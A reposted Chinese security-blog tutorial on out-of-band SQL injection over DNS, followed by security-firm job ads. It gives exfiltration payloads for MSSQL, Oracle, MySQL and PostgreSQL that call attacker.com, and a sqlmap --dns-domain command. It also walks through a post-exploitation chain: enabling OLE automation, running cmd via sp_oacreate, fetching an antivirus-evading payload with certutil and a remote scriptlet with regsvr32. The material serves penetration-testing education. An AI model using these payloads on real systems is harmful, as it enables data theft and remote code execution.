1. 威客安全首页
  2. 安全资讯

利用DNS实现SQL注入带外查询

No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


No.2

前言

在实战渗透测试过程中,经常碰到SQL注入点无法回显数据,获得sqlmap中os-shell也无法进一步getshell或是反弹shell,从而放弃继续深入。


No.3

什么是OOB

     根据用于数据检索的传输信道,SQLi可分为三个独立的类别:inband, inference(推理) 和out-of-band。

    Inband技术使用攻击者和有漏洞的Web应用程序之间现有的渠道来提取数据。通常该通道是标准的Web服务器响应。它的成员union技术使用现有的web页面输出恶意SQL查询的执行结果,而error-based技术则引发特定的恶意SQL查询的执行结果的DBMS的错误消息。

    相反的,在Inference技术中,攻击者通过应用程序表现的差异来推断数据的值。Inference技术能够逐位提取恶意SQL查询结果,却没有真正传输数据。

    Inference的核心是在服务器执行一系列的布尔查询,观察和最后推导接收结果的含义。根据观察到的特性,它的成员被称为布尔型盲注(bool)和基于时间(time-based)的盲注技术。在布尔型盲注技术中,网络服务器响应内容的变化用于区分逻辑的值(true/false),而在基于时间的盲注技术中则通过观察Web服务器响应时间(sleep/benchmark)的变化来推断答案。

    Out-of-band (OOB)技术,与inband相反,使用其它传输信道获取数据,例如HTTP协议和DNS解析协议。当详细的错误信息被禁用(无回显)、结果被限制或过滤(被拦截)、出站过滤规则不严和/或当减少查询的数目变得极度重要时inference技术看起来像是唯一的选择,这时使用OOB技术渗透便变得十分有趣。

    例如,基于HTTP的OOB技术的SQL查询结果变成了发送给HTTP服务器请求的一部分(例如GET参数值)被能访问日志文件的攻击者控制时。此类的技术不像其它的主流技术被广泛应用,主要是其所需的设置非常复杂,但使用它们可以克服许多障碍(如避免不必要的数据库写入和极大地提升利用INSERT/UPDATE语句漏洞的基于时间的SQL注入)。


No.4

DNS传输数据

需要先理解下DNS解析过程,看下面图即可:

在实际应用中,实现dns解析,有多种方法:

1.    使用burp suite 自带的Burp Collaborator client(方便好用,用于探测数据库服务器能否出网)

2.    搭建一个简易http服务器,如python服务器(有域名最好)

3.    使用开放平台的ceye.io或是自己搭建的dnslog服务器(网上有很多类型平台和文章,不再做介绍)

4.    使用sqlmap中的—dns-domain参数


No.5

查询方法

1.MSSQL:

我们可以简单地使用master.dbo.xp_dirtree功能来执行DNS查询。该操作的主要目的是将文件放在目录下,但它也允许远程目录访问,这样我们就可以让我们的域运行并获得结果。语法如下所示:

DECLARE @data varchar(1024);

    SELECT @data =(SELECT foo FROM bar);

    EXEC(‘master..xp_dirtree“\’+ @ data +’.attacker.com foo $”’);

如果其他方法有任何问题,我们也可以使用像xp_fileexists和xp_subdirs这样的函数; 它们在语法上是相同的。


2.Oracle:

有UTL_INADDR.GET_HOST_ADDRESS

UTL_HTTP.REQUEST

HTTP_URITYPE.GETCLOB

和DBMS_LDAP.INIT

这些函数中的每一个都执行名称解析,其中一个示例用例是:

SELECT DBMS_LDAP.INIT((SELECT foo FROM bar)||’.attacker.com’,80)FROM DUAL;

3.MySQL:

LOAD_FILE可用于解析域名

SELECT LOAD_FILE(CONCAT(’\\’,(SELECT foo FROM bar),’.atacker.com’));

4.PostgreSQL:

对于postgresql我们可以使用COPY函数,它基本上读取一个文件并将其内容复制到一个表中,语法如下:

    DROP TABLE IF EXISTS table_output;

    CREATE TABLE table_output(content text);

    CREATE OR REPLACE FUNCTION temp_function()

    RETURNS VOID AS $$

    DECLARE exec_cmd TEXT;

    DECLARE query_result TEXT;

    BEGIN

        SELECT INTO query_result (SELECT foo FROM bar);

        exec_cmd := E’COPY table_output(content) FROM E’\\\\’||query_result||E’.attacker.com\\foobar.txt”;

        EXECUTE exec_cmd;

    END;

    $$ LANGUAGE plpgsql SECURITY DEFINER;

    SELECT temp_function();


No.6

sqlmap –dns-domain回显

准备:一个控制的域名:opendns.online

例子:发现uid存在注入

sqlmap -u ‘http://188.166.29.114/test.php?uid=1’ -p uid –dbs –technique T –dbms mssql –level 5 –risk 3 –dns-domain opendns.online

利用DNS实现SQL注入带外查询

使用tcpdump进行监听53d端口的udp流量:

tcpdump -i eth0 -s 0 -A -vvv ‘udp and dst port 53

利用DNS实现SQL注入带外查询

我们可以看到,sqlmap将查询响应放在两个随机字符串之间,并将我们的域名附加到它以执行dns请求。然后,在这些随机字符串的帮助下,它可以理解哪个请求响应特定查询并相应地生成结果。

No.7

思路延伸

看到有同事在实战应用中碰到很多障碍,需要扎实的基础,才能有许多技巧去绕过。碰到问题,解决问题,能够从中学习到很多。

dns解析已经很成熟,但只是一种辅助手段,本质还是需要对常用数据库特性有深入理解。

场景:

机器:Windows 2008

数据库:MSSQL

注入点权限:DBA权限

服务器上安装:360+ESET NOD32 Antivirus

拥有—os-shell权限,能够执行命令(以前碰到这种环境,执行命令就结束了,现在有再好的思路,进一步获取shell)

面临的问题

         1.xp_cmdshell无法使用。

         2.服务器安装了杀软,常规手段会被查杀和阻断。

         3.虽然获得了os_shell终端,但无法回显执行情况。

解决思路:

1.sqlmap在判断xp_cmdshell无法调用情况下,sp_oacreate用于创建OLE对象实例。

开启相应功能:

    EXEC sp_configure ‘show advanced options’, 1;  

    RECONFIGURE WITH OVERRIDE;  

    EXEC sp_configure ‘Ole Automation Procedures’, 1;

    RECONFIGURE WITH OVERRIDE;  

    EXEC sp_configure ‘show advanced options’, 0;

 执行(解析:sp_oacreate初始化创建一个OLE对象wscript.shell,使用sp_oamethod调用OLE对象的方法,cmd.exe执行whoami命令再输出到c盘who.txt文件):

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:windowssystem32cmd.exe /c whoami >C:who.txt’

2.现在的问题是无法回显执行的结果,选择使用dnslog方式进行带外查询,这里先使用burp collaborator 判断能否出网,如果能够正常出网,搭建python http.server服务器用于接收回显信息。

3.使用os-shell>certutil -urlcache -split -f http://xx.xx.xx.xx:8000/1.exe下载payload(已免杀)。

4.接收回显信息判断是否下载、运行成功,同时使用wmic process call create “regsvr32 /s /n /u /i:http://xxx.xxx.xxx.xxx:8086/p.txt scrobj.dll”探测进程1.exe是否正常运行成功。

解决思路脑图如下:

利用DNS实现SQL注入带外查询


No.8

招聘启事

安全招聘
————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:安服战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部),广州
岗位剩余编制:3人
工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;


岗位:安全红队武器自动化攻城狮
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。


设计师

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽


简历投递至 strategy@dbappsecurity.com.cn


安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。


【工作地点】

杭州、广州


简历投递至 strategy@dbappsecurity.com.cn


利用DNS实现SQL注入带外查询

专注渗透测试技术

全球最新网络攻击技术

END

利用DNS实现SQL注入带外查询

原文始发于微信公众号(E安全):利用DNS实现SQL注入带外查询

本文转为转载文章,本文观点不代表威客安全立场。

发表评论

登录后才能评论

联系我们

15110186328

在线咨询:点击这里给我发消息

邮件:zhanglei@jinlongsec.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code
X